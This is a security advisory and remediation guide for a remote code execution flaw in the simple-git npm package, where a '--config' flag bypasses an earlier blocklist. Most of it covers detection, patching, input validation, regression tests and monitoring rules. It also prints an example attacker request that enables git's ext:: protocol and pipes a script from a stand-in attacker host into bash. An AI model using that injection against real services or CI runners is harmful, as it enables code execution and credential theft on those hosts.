Executive Summary
CVE-2026-6951 is a critical Remote Code Execution (RCE) vulnerability in the simple-git npm package (CVSS 9.8) that allows an attacker who can influence the options argument passed to simple-git functions to execute arbitrary code on the host system — with no authentication or user interaction required. The flaw stems from an incomplete fix for CVE-2022-25912: while that earlier patch blocked the -c git flag, it failed to account for the functionally equivalent --config long form. With over 10 million weekly downloads, simple-git is embedded across thousands of CI/CD pipelines, developer tools, and Node.js applications. Teams should treat this as a critical P0 patch — upgrade to simple-git 3.36.0 or later immediately.
1. What Is This Vulnerability?
simple-git is a lightweight JavaScript wrapper for the Git command-line interface. Developers use it to run git operations programmatically from Node.js — cloning repositories, committing, branching, and more. Because it wraps raw git commands, the library must sanitize any user-supplied arguments before passing them to the shell.
In 2022, CVE-2022-25912 revealed that attackers could inject the -c git configuration flag via the options argument, enabling them to override git config at runtime and achieve Remote Code Execution. The simple-git maintainers patched this by blocklisting the -c flag.
CVE-2026-6951 reveals that the fix was incomplete. Git's CLI accepts both a short form (-c) and a long form (--config) for the same configuration override functionality. The 2022 patch only blocked -c, leaving --config untouched and fully exploitable through the same attack path.
The Exploit Mechanism
The attack requires two conditions:
- Attacker-controlled
optionsinput — the attacker must be able to influence the options argument passed to a simple-git function (e.g.,clone(),pull(), etc.). - A git clone operation — the exploit is triggered during a repository clone.
With these conditions met, the attacker injects two git config overrides:
--config protocol.ext.allow=always
This enables the ext:: protocol, which git normally restricts. The ext:: protocol allows git to invoke an arbitrary shell command as its transport layer — effectively turning the clone operation into arbitrary code execution.
Conceptual exploit flow:
// Vulnerable code — user input flows into simple-git options
const userSuppliedRepo = req.body.repoUrl;
const userOptions = req.body.options; // attacker controls this
await git.clone(userSuppliedRepo, localPath, userOptions);
An attacker POST body might look like:
{
"repoUrl": "ext::bash -c 'curl http://attacker.com/shell.sh | bash'",
"options": ["--config", "protocol.ext.allow=always"]
}
Because --config was never added to the blocklist, simple-git passes it straight to the git subprocess — and git dutifully enables the ext:: protocol and executes the shell payload.
Attack Vector
| Attribute | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Req. | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | High |
| Availability | High |
| CVSS v3.1 Score | 9.8 Critical |
Real-World Impact
The vulnerability was published on April 25, 2026. At time of writing, active exploitation in the wild has not been publicly confirmed, but given the package's enormous install base (~10 million weekly npm downloads), the availability of a clear exploit pattern, and the existence of similar prior exploits (CVE-2022-25912), mass exploitation is a realistic and imminent risk. CI/CD systems are a prime target because they typically clone repositories as part of automated workflows and often run with elevated or cloud-provider credentials attached.
2. Who Is Affected?
Directly vulnerable:
- All projects using
simple-gitnpm package < version 3.36.0 - Any Node.js application that passes user-supplied or partially user-controlled data into
simple-gitfunction arguments
High-risk deployment contexts:
- GitHub Actions workflows using custom Node.js scripts that wrap simple-git
- Jenkins pipelines with Node.js build steps
- Self-hosted git management tools and portals
- Code review platforms and repository browsers built on Node.js
- Developer tooling and CLIs that accept repository URLs or git options as user input
Not affected:
- Applications using simple-git ≥ 3.36.0
- Applications where ALL input to simple-git is fully developer-controlled (no external user input flows into options arguments)
Check your dependency tree:
# Check direct dependency
npm list simple-git
# Check all transitive dependencies
npm list --all | grep simple-git
# Audit with npm
npm audit | grep simple-git
3. How to Detect It (Testing)
Manual Testing Steps
Step 1: Identify simple-git usage in your codebase
# Find all files that import or require simple-git
grep -r "simple-git\|simpleGit\|require.*simple-git" --include="*.js" --include="*.ts" .
Step 2: Trace the data flow into simple-git calls
For each call site found, check whether any of these argument positions accept external input:
- The
optionsarray/object parameter ofclone(),pull(),fetch(),push() - Any configuration passed as an array of strings that is partially constructed from user input
Step 3: Attempt the blocklist bypass (in a sandboxed test environment only)
const simpleGit = require('simple-git');
const git = simpleGit();
// Test whether --config is accepted (DO NOT run against production)
try {
await git.clone(
'https://github.com/example/test-repo.git',
'/tmp/test-clone',
['--config', 'protocol.ext.allow=always']
);
console.log('VULNERABLE: --config option was not blocked');
} catch (err) {
console.log('PATCHED: option was blocked');
}
Automated Scanning
Tool: Snyk
# Install and authenticate Snyk
npm install -g snyk
snyk auth
# Run a vulnerability scan focused on simple-git
snyk test --package-manager=npm | grep -A5 "CVE-2026-6951\|simple-git"
Tool: npm audit
npm audit --audit-level=critical 2>&1 | grep -A 10 simple-git
Expected vulnerable output:
simple-git <3.36.0
Severity: critical
Remote Code Execution - CVE-2026-6951
Tool: OWASP Dependency-Check
dependency-check --project "MyApp" --scan ./node_modules/simple-git \
--nvdApiKey YOUR_API_KEY --format HTML --out ./report
Tool: Socket.dev (CI/CD integration)
npx @socketsecurity/cli scan --strict 2>&1 | grep simple-git
Code Review Checklist
- Locate every import/require of
simple-gitin the codebase - For each
clone(),pull(),fetch(),push()call — trace whether the options/args parameter can receive any user-supplied data - Confirm no user input is interpolated into arrays that are passed as git arguments
- Verify the resolved version of
simple-gitinpackage-lock.jsonis ≥ 3.36.0 - Check if any transitive dependency pulls in an old version of
simple-git - Review CI/CD pipeline definitions (
.github/workflows/,Jenkinsfile) for Node.js steps invoking simple-git with external repo URLs
4. How to Fix It (Mitigation)
Step-by-Step Remediation
Step 1: Upgrade simple-git
npm install simple-git@latest
# or pin to the patched version
npm install simple-git@^3.36.0
Step 2: Update package-lock.json and commit it
npm install
git add package.json package-lock.json
git commit -m "security: upgrade simple-git to 3.36.0 (CVE-2026-6951)"
Step 3: Force-resolve if a transitive dependency pins an older version
Add an overrides entry in package.json:
{
"overrides": {
"simple-git": "^3.36.0"
}
}
Or with Yarn:
{
"resolutions": {
"simple-git": "^3.36.0"
}
}
Step 4: Deploy and verify
Run your test suite, then confirm the updated version is live:
node -e "const g = require('simple-git'); console.log(require('./node_modules/simple-git/package.json').version);"
Code Fix Example — Input Validation
Even after upgrading, apply defense-in-depth by validating options before passing to simple-git:
Before (vulnerable pattern):
// User-supplied options flow directly into simple-git
async function cloneRepo(repoUrl, destination, userOptions) {
const git = simpleGit();
await git.clone(repoUrl, destination, userOptions);
}
After (hardened pattern):
const ALLOWED_CLONE_OPTIONS = new Set([
'--depth', '--branch', '--single-branch', '--no-tags', '--quiet'
]);
function sanitizeGitOptions(options) {
if (!Array.isArray(options)) return [];
const sanitized = [];
for (let i = 0; i < options.length; i++) {
const opt = String(options[i]);
// Block --config and -c in all forms
if (/^(--config|-c)(=.*)?$/i.test(opt)) {
throw new Error(`Blocked disallowed git option: ${opt}`);
}
// Allow-list approach: only permit known-safe options
const baseFlag = opt.split('=')[0];
if (!ALLOWED_CLONE_OPTIONS.has(baseFlag)) {
throw new Error(`Unknown git option rejected: ${opt}`);
}
sanitized.push(opt);
}
return sanitized;
}
async function cloneRepo(repoUrl, destination, userOptions) {
const git = simpleGit();
const safeOptions = sanitizeGitOptions(userOptions);
await git.clone(repoUrl, destination, safeOptions);
}
Configuration Hardening
Git-level protocol restriction (defense-in-depth):
In environments where simple-git cannot be immediately updated, restrict the ext:: protocol at the git configuration level on the host system:
# Globally disable ext:: protocol
git config --global --add protocol.ext.allow never
git config --global --add protocol.allow user
Or set it via environment variable in your CI/CD environment:
export GIT_CONFIG_COUNT=1
export GIT_CONFIG_KEY_0=protocol.ext.allow
export GIT_CONFIG_VALUE_0=never
Principle of least privilege for CI/CD runners:
- Ensure CI/CD jobs that run git operations do not have access to cloud credentials, secrets managers, or internal networks beyond what the build strictly requires
- Use ephemeral, short-lived runner environments that are destroyed after each build
5. How to Test the Fix (Validation)
Regression Test Scenarios
- Scenario A: After upgrading to 3.36.0, run your existing test suite — confirm no regressions in git operation behavior
- Scenario B: Attempt the bypass with
--config protocol.ext.allow=always— confirm it is now blocked and an error is thrown - Scenario C: Confirm legitimate git operations (clone with
--depth 1,--branch main) still work correctly
Security Test Cases
Test Case 1: Verify the vulnerability no longer exists
- Precondition: Upgrade simple-git to ≥ 3.36.0 and deploy
- Steps: Pass
['--config', 'protocol.ext.allow=always']in the options argument togit.clone() - Expected Result: simple-git throws an error or strips the option; no git subprocess is launched with the override
Test Case 2: Verify -c is also still blocked
- Precondition: Upgrade simple-git to ≥ 3.36.0
- Steps: Pass
['-c', 'protocol.ext.allow=always']in the options argument - Expected Result: Option is blocked — confirming the original CVE-2022-25912 fix is also still in place
Test Case 3: Verify safe operations function normally
- Precondition: Upgrade simple-git to ≥ 3.36.0
- Steps: Run
git.clone('https://github.com/example/repo.git', '/tmp/test', ['--depth', '1']) - Expected Result: Clone completes successfully — safe options are not blocked
Automated Tests
const simpleGit = require('simple-git');
const assert = require('assert');
describe('CVE-2026-6951 regression tests', () => {
it('should block --config option injection', async () => {
const git = simpleGit();
await assert.rejects(
() => git.clone(
'https://github.com/example/test-repo.git',
'/tmp/sec-test-1',
['--config', 'protocol.ext.allow=always']
),
/blocked|invalid|disallowed/i,
'Expected --config to be blocked'
);
});
it('should block -c option injection', async () => {
const git = simpleGit();
await assert.rejects(
() => git.clone(
'https://github.com/example/test-repo.git',
'/tmp/sec-test-2',
['-c', 'protocol.ext.allow=always']
),
/blocked|invalid|disallowed/i,
'Expected -c to be blocked'
);
});
it('should allow safe clone options', async () => {
const git = simpleGit();
// Use a real test repo or mock in your CI environment
await assert.doesNotReject(
() => git.clone(
'https://github.com/your-org/test-repo.git',
'/tmp/sec-test-3',
['--depth', '1', '--single-branch']
)
);
});
});
6. Prevention & Hardening
Best Practices
1. Never trust external input in git options Treat any repository URL or options argument that originates outside your codebase (user input, webhooks, environment variables from third-party sources, API payloads) as untrusted. Always use an explicit allow-list of permitted git flags.
2. Pin and automate dependency updates Use Dependabot, Renovate, or Snyk to automatically receive PRs when security patches are published for your npm dependencies. For critical-severity patches, configure auto-merge rules for patch-level updates.
3. Lock your supply chain
Always commit package-lock.json and use npm ci in CI/CD pipelines rather than npm install. This ensures reproducible builds and prevents unexpected dependency upgrades that could introduce vulnerabilities — or prevent security patches from being missed.
4. Run npm audit in CI
Add npm audit --audit-level=high as a required gate in your CI pipeline. This will fail builds when critical or high-severity advisories are detected:
# .github/workflows/security.yml
- name: Security Audit
run: npm audit --audit-level=high
5. Apply the principle of least privilege to git operations Processes that perform git clones should not run with broad system permissions. Isolate them in containers, use dedicated service accounts, and avoid running git operations as root.
Monitoring & Detection
Signs that CVE-2026-6951 may be under active exploitation in your environment:
- Unexpected outbound network connections originating from CI/CD runner processes during git clone steps
- Unusual subprocesses spawned by Node.js or git (e.g.,
bash,curl,wgetas children of git) - New files or cron jobs appearing on CI/CD runner hosts after clone operations
- DNS lookups or HTTP requests to unexpected external hosts from builder VMs
Detection with auditd (Linux):
# Audit all git subprocess executions
auditctl -a always,exit -F arch=b64 -S execve \
-F "exe=/usr/bin/git" -k git_exec_audit
Detection with Falco (Kubernetes/container environments):
- rule: Git spawns unexpected shell
desc: Detect git spawning a shell — potential ext:: protocol abuse
condition: >
spawned_process and proc.name in (bash, sh, dash, zsh)
and proc.pname = "git"
output: >
Git spawned a shell (user=%user.name cmd=%proc.cmdline parent=%proc.pname)
priority: CRITICAL
References
- CVE Entry: CVE-2026-6951 — ThreatINT
- Threat Radar: CVE-2026-6951 — OffSeq Live Intelligence
- Writeup: simple-git Critical RCE: Incomplete Fix Allows Code Execution — TheHackerWire
- Snyk Advisory: simple-git security advisories — Snyk
- npm Package: simple-git on npm
- Prior Vulnerability: CVE-2022-25912 — Snyk
- CISA KEV Catalog: Known Exploited Vulnerabilities — CISA